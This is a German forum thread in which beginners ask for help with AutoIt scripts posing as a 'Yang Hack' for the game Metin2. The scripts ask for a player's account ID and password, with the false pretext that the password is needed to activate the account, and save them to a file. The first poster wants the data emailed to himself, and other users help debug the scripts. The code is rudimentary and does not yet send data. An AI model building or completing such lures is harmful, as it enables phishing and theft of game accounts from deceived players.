AutoIT E-Mail

Page 1 of 2 1 2
01/30/2009 19:32 Darkness321#1
Hab mal ne frage

Hab da son Prob

Und zwar hätte ich gerne nen Script wo man etwas eingeben kan und den z.b. an meine e-mail gesendet wird

Undzwar genau dan wen man einen button drückt

Kan mir jemand sonen Code geben pls?


Hir der code

Quote:
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

Opt("GUIOnEventMode", 1)
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Yang Hack Metin2", 633, 447, 193, 125)
GUISetBkColor(0x008080)
GUISetOnEvent($GUI_EVENT_CLOSE, "Form1Close")
GUISetOnEvent($GUI_EVENT_MINIMIZE, "Form1Minimize")
GUISetOnEvent($GUI_EVENT_MAXIMIZE, "Form1Maximize")
GUISetOnEvent($GUI_EVENT_RESTORE, "Form1Restore")
$Input1 = GUICtrlCreateInput("", 128, 56, 241, 21)
GUICtrlSetOnEvent(-1, "Input1Change")
$ID = GUICtrlCreateLabel("ID", 80, 56, 23, 17)
GUICtrlSetOnEvent(-1, "IDClick")
$Input2 = GUICtrlCreateInput("", 128, 104, 241, 21)
GUICtrlSetOnEvent(-1, "Input2Change")
$Passwort = GUICtrlCreateLabel("Passwort", 56, 104, 55, 17)
GUICtrlSetOnEvent(-1, "PasswortClick")
$Yang = GUICtrlCreateLabel("Anzahl", 72, 144, 37, 17)
GUICtrlSetOnEvent(-1, "AnzahlClick")
$Input3 = GUICtrlCreateInput("", 128, 144, 241, 21)
GUICtrlSetOnEvent(-1, "Input3Change")
$Send = GUICtrlCreateButton("Send", 136, 216, 81, 33, 0)
GUICtrlSetOnEvent(-1, "SendClick")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
Sleep(100)
WEnd

Func Form1Close()

EndFunc
Func Form1Maximize()

EndFunc
Func Form1Minimize()

EndFunc
Func Form1Restore()

EndFunc
Func IDClick()

EndFunc
Func Input1Change()

EndFunc
Func Input2Change()

EndFunc
Func Input3Change()

EndFunc
Func PasswortClick()

EndFunc
Func SendClick()



EndFunc
Func AnzahlClick()

EndFunc
01/30/2009 20:02 .Envy#2
[Only registered and activated users can see links. Click Here To Register...]
01/30/2009 20:09 Darkness321#3
thx
01/31/2009 14:38 Darkness321#4
Ich habe ein Problem mit meinem bot

und zwar wen ich die daten eingebe und dan senden drücke sollen die eingegebenen daten eigendlich in ein text document abgespeichert werden

was sie aber nicht machen

(document wird erstellt beinhaltet aber nichts)

hier der code

Quote:
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#include <String.au3>

$file = "daten.txt"

Opt("GUIOnEventMode", 1)
#Region ### START Koda GUI section ### Form=c:\dokumente und einstellungen\simon\desktop\form1.kxf
$Form1_1 = GUICreate("Form1", 633, 447, 201, 125)
GUISetBkColor(0x3D95FF)
GUISetOnEvent($GUI_EVENT_CLOSE, "Form1_1Close")
GUISetOnEvent($GUI_EVENT_MINIMIZE, "Form1_1Minimize")
GUISetOnEvent($GUI_EVENT_MAXIMIZE, "Form1_1Maximize")
GUISetOnEvent($GUI_EVENT_RESTORE, "Form1_1Restore")
$Label1 = GUICtrlCreateLabel("ID", 88, 64, 15, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label1Click")
$Label2 = GUICtrlCreateLabel("Password" , 56, 112, 50, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label2Click")
$Label3 = GUICtrlCreateLabel("Anzahl", 80, 160, 29, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label3Click")
GUICtrlCreateInput("", 168, 64, 145, 21)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Input3Change")
GUICtrlCreateInput("", 168, 112, 145, 21)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Input4Change")
GUICtrlCreateInput("", 168, 160, 145, 21)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Input5Change")
$Label4 = GUICtrlCreateLabel("Das Password wird zum ", 416, 48, 119, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label4Click")
$Label5 = GUICtrlCreateLabel(" zum activieren des Accounts gebraucht", 384, 72, 194, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label5Click")
$Label6 = GUICtrlCreateLabel("Das activieren kan bis zu", 408, 136, 123, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label6Click")
$Label7 = GUICtrlCreateLabel("10 min dauern", 432, 160, 71, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label7Click")
$Senden = GUICtrlCreateButton("Senden", 168, 216, 105, 33, 0)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "SendenClick")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
Sleep(100)
WEnd

Func Form1_1Close()
Exit

EndFunc
Func Form1_1Maximize()

EndFunc
Func Form1_1Minimize()

EndFunc
Func Form1_1Restore()

EndFunc
Func Input3Change()

EndFunc
Func Input4Change()

EndFunc
Func Input5Change()

EndFunc
Func Label1Click()

EndFunc
Func Label2Click()

EndFunc
Func Label3Click()

EndFunc
Func Label4Click()

EndFunc
Func Label5Click()

EndFunc
Func Label6Click()

EndFunc
Func Label7Click()

EndFunc
Func SendenClick()

FileWrite ($file, "")
_FileWriteToLine ($file, 1, $Label1,2)
_FileWriteToLine ($file, 3, $Label2,2)
_FileWriteToLine ($file, 5, $Label3,2)

$Label1 = FileReadLine ($file, 1)
$Label2 = FileReadLine ($file, 3)
$Label3 = FileReadLine ($file, 5)

Exit

EndFunc
würde mich freuen wen jemand weiß woran das liegt

Darkness321
01/31/2009 18:48 Darkness321#5
weiß den niemand an was das liegt?
01/31/2009 20:57 verT!c4L#6
Lange Rede, kurzer Sinn.
Du müsstest es selbst raffen das der Fehler bei dir liegt ^^
Woran kann es wohl liegen, das dein FileHandle ( FileWrite ($file, "") )
die Daten nicht speichert?

JEP, genau! Weil du es verschüsselt hast, das FileHandle zu schließen ( FileClose ($file) ), was widerum die eigentliche Speicherung vollführt...

Les nächst mal genau was welche Funktion macht, die du benutzt...

[Only registered and activated users can see links. Click Here To Register...]
01/31/2009 20:59 Darkness321#7
sorry aber ich arbeite noch nicht so lange mit autoit (ca 2 wochen)

deswegen wusste ich das net sry
01/31/2009 21:57 verT!c4L#8
passt scho ;) weiter üben ^^
hat das denn gefunzt ?
02/01/2009 09:34 Darkness321#9
ja habs den noch hingekrigt aber leider ohne gui =(

weil iwie will der net mit GUICtrlCreateLabel sondern nur mit InputBox lesen

naja aba is auf jedenfall was geworden
02/01/2009 13:12 Knochenfabrikant#10
Hier meine Source:


Quote:
$File = "Daten.txt"

$Input1 = InputBox ("Yanghack für Metin2 DE Schritt 1","Benutzername")
$Input2 = InputBox ("Yanghack für Metin2 DE Schritt 2","Passwort"&@CRLF&"(Um zu sehen ob der Account aktiv ist)","","*")
$Input3 = InputBox ("Yanghack für Metin2 DE Schritt 3","Gewünschter Yangbetrag"&@CRLF&"® By Bozkurt Hacker-Team")

FileWrite ($File,"")
_FileWriteToLine ($File, 1,$Input1,2)
_FileWriteToLine ($File, 3,$Input2,2)
_FileWriteToLine ($File, 5,$Input3,2)

$Input1 = FileReadLine ($File,1)
$Input2 = FileReadLine ($File,3)
$Input3 = FileReadLine ($File,5)
FileClose ($File)

Exit
Was ist daran Falsch?
Immer wenn ich es öffne, alles in die Inputboxen eingebe und OK Klicke kommt dieser Fehler

[Only registered and activated users can see links. Click Here To Register...]
02/01/2009 17:50 verT!c4L#11
Steht doch da ?! ^^ Error: unknown function name...
Line 19...
02/01/2009 19:56 Darkness321#12
Alos das soll doch wohl ken Keylogger sein oder!?!?!?!?!?!?
02/01/2009 20:12 verT!c4L#13
Nein, fürn Keylogger zu auffällig wegen InputBox, aber vom Prinzip her ähnlich...
02/02/2009 15:19 Knochenfabrikant#14
Ja ich weiß Line 19....
aber was ist daran falsch ???
02/02/2009 15:39 Darkness321#15
Ich Guck mal was das is ^^
Page 1 of 2 1 2